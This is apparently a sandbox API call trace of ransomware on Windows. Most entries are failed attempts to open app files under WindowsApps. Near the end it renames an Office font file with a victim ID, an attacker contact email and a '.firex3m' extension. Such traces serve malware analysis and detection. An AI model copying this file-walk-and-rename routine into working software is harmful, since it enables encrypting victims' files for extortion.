[0243.084] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5430) returned 0x6fe3bb0 [0243.084] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.084] Sleep (dwMilliseconds=0x1) [0243.110] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png", len=0x6c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png") returned 1 [0243.110] GetProcessHeap () returned 0x630000 [0243.110] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53d0) returned 0x6fe3bb0 [0243.110] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.121] Sleep (dwMilliseconds=0x1) [0243.140] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js", len=0x75 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js") returned 1 [0243.140] GetProcessHeap () returned 0x630000 [0243.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5388) returned 0x6fe3bb0 [0243.141] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\ormma.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.155] Sleep (dwMilliseconds=0x1) [0243.163] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Builder3D.exe", len=0x5e | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Builder3D.exe") returned 1 [0243.163] GetProcessHeap () returned 0x630000 [0243.163] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x533c) returned 0x6fe3bb0 [0243.164] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Builder3D.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\builder3d.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.170] Sleep (dwMilliseconds=0x1) [0243.179] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Finish.png", len=0x70 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Finish.png") returned 1 [0243.179] GetProcessHeap () returned 0x630000 [0243.179] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5300) returned 0x6fe3bb0 [0243.179] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Finish.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_finish.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.184] Sleep (dwMilliseconds=0x1) [0243.200] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-256.png", len=0x98 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-256.png") returned 1 [0243.200] GetProcessHeap () returned 0x630000 [0243.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52b4) returned 0x6fe3bb0 [0243.200] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.200] Sleep (dwMilliseconds=0x1) [0243.220] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-48_altform-unplated.png", len=0xa8 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-48_altform-unplated.png") returned 1 [0243.220] GetProcessHeap () returned 0x630000 [0243.220] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5274) returned 0x6fe3bb0 [0243.220] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.225] Sleep (dwMilliseconds=0x1) [0243.254] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png", len=0x73 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png") returned 1 [0243.254] GetProcessHeap () returned 0x630000 [0243.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5208) returned 0x6fe3bb0 [0243.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\helpicon_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.267] Sleep (dwMilliseconds=0x1) [0243.277] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face.png", len=0x75 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face.png") returned 1 [0243.277] GetProcessHeap () returned 0x630000 [0243.277] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e0) returned 0x6fe3bb0 [0243.277] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Smiley face.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\smiley face.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.315] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png", len=0x73 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png") returned 1 [0243.315] GetProcessHeap () returned 0x630000 [0243.315] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5150) returned 0x6fe3bb0 [0243.315] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cubetile_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.315] Sleep (dwMilliseconds=0x1) [0244.257] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_SplashScreen.scale-100.png", len=0x7c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_SplashScreen.scale-100.png") returned 1 [0244.257] GetProcessHeap () returned 0x630000 [0244.257] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f54) returned 0x6fe3bb0 [0244.257] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\news_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.258] Sleep (dwMilliseconds=0x1) [0244.272] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-32.png", len=0x8c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-32.png") returned 1 [0244.272] GetProcessHeap () returned 0x630000 [0244.272] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f20) returned 0x6fe3bb0 [0244.272] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.274] Sleep (dwMilliseconds=0x1) [0244.277] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-16.png", len=0x8c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-16.png") returned 1 [0244.277] GetProcessHeap () returned 0x630000 [0244.277] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f14) returned 0x6fe3bb0 [0244.277] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.291] Sleep (dwMilliseconds=0x1) [0246.347] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileMediumSquare.scale-100.png", len=0x93 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileMediumSquare.scale-100.png") returned 1 [0246.347] GetProcessHeap () returned 0x630000 [0246.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eac) returned 0x6fe3bb0 [0246.348] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.350] Sleep (dwMilliseconds=0x1) [0246.356] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-48.png", len=0x90 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-48.png") returned 1 [0246.356] GetProcessHeap () returned 0x630000 [0246.356] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea0) returned 0x6fe3bb0 [0246.356] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_logosmall.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.358] Sleep (dwMilliseconds=0x1) [0246.373] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.scale-100.png", len=0x8c | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.scale-100.png") returned 1 [0246.373] GetProcessHeap () returned 0x630000 [0246.373] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e8c) returned 0x6fe3bb0 [0246.373] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Sports_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\sports_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.376] Sleep (dwMilliseconds=0x1) [0246.395] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", len=0x5f | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0246.395] GetProcessHeap () returned 0x630000 [0246.395] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e80) returned 0x6fe3bb0 [0246.395] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.396] Sleep (dwMilliseconds=0x1) [0246.402] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x65 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0246.402] GetProcessHeap () returned 0x630000 [0246.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e74) returned 0x6fe3bb0 [0246.402] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.409] Sleep (dwMilliseconds=0x1) [0246.418] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", len=0x5a | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri") returned 1 [0246.418] GetProcessHeap () returned 0x630000 [0246.418] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0246.419] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.419] Sleep (dwMilliseconds=0x1) [0246.434] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", len=0x89 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf") returned 1 [0246.434] GetProcessHeap () returned 0x630000 [0246.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0246.434] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.437] Sleep (dwMilliseconds=0x1) [0246.484] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml", len=0x90 | out: pbstr=0x4abff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml") returned 1 [0246.484] GetProcessHeap () returned 0x630000 [0246.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e40) returned 0x6fe3bb0 [0246.484] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\Sports.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\sports\\sports.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.484] Sleep (dwMilliseconds=0x1) [0246.497] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX", len=0x71 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX") returned 1 [0246.497] GetProcessHeap () returned 0x630000 [0246.497] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e2c) returned 0x6fe3bb0 [0246.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0246.498] CloseHandle (hObject=0x4e0) returned 1 [0246.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\chineset.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x531047b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x310033, dwReserved1=0x5f0032, cFileName="CHINESET.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHINES~1.FIR")) returned 0x6d5200 [0246.499] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0246.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\chineset.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 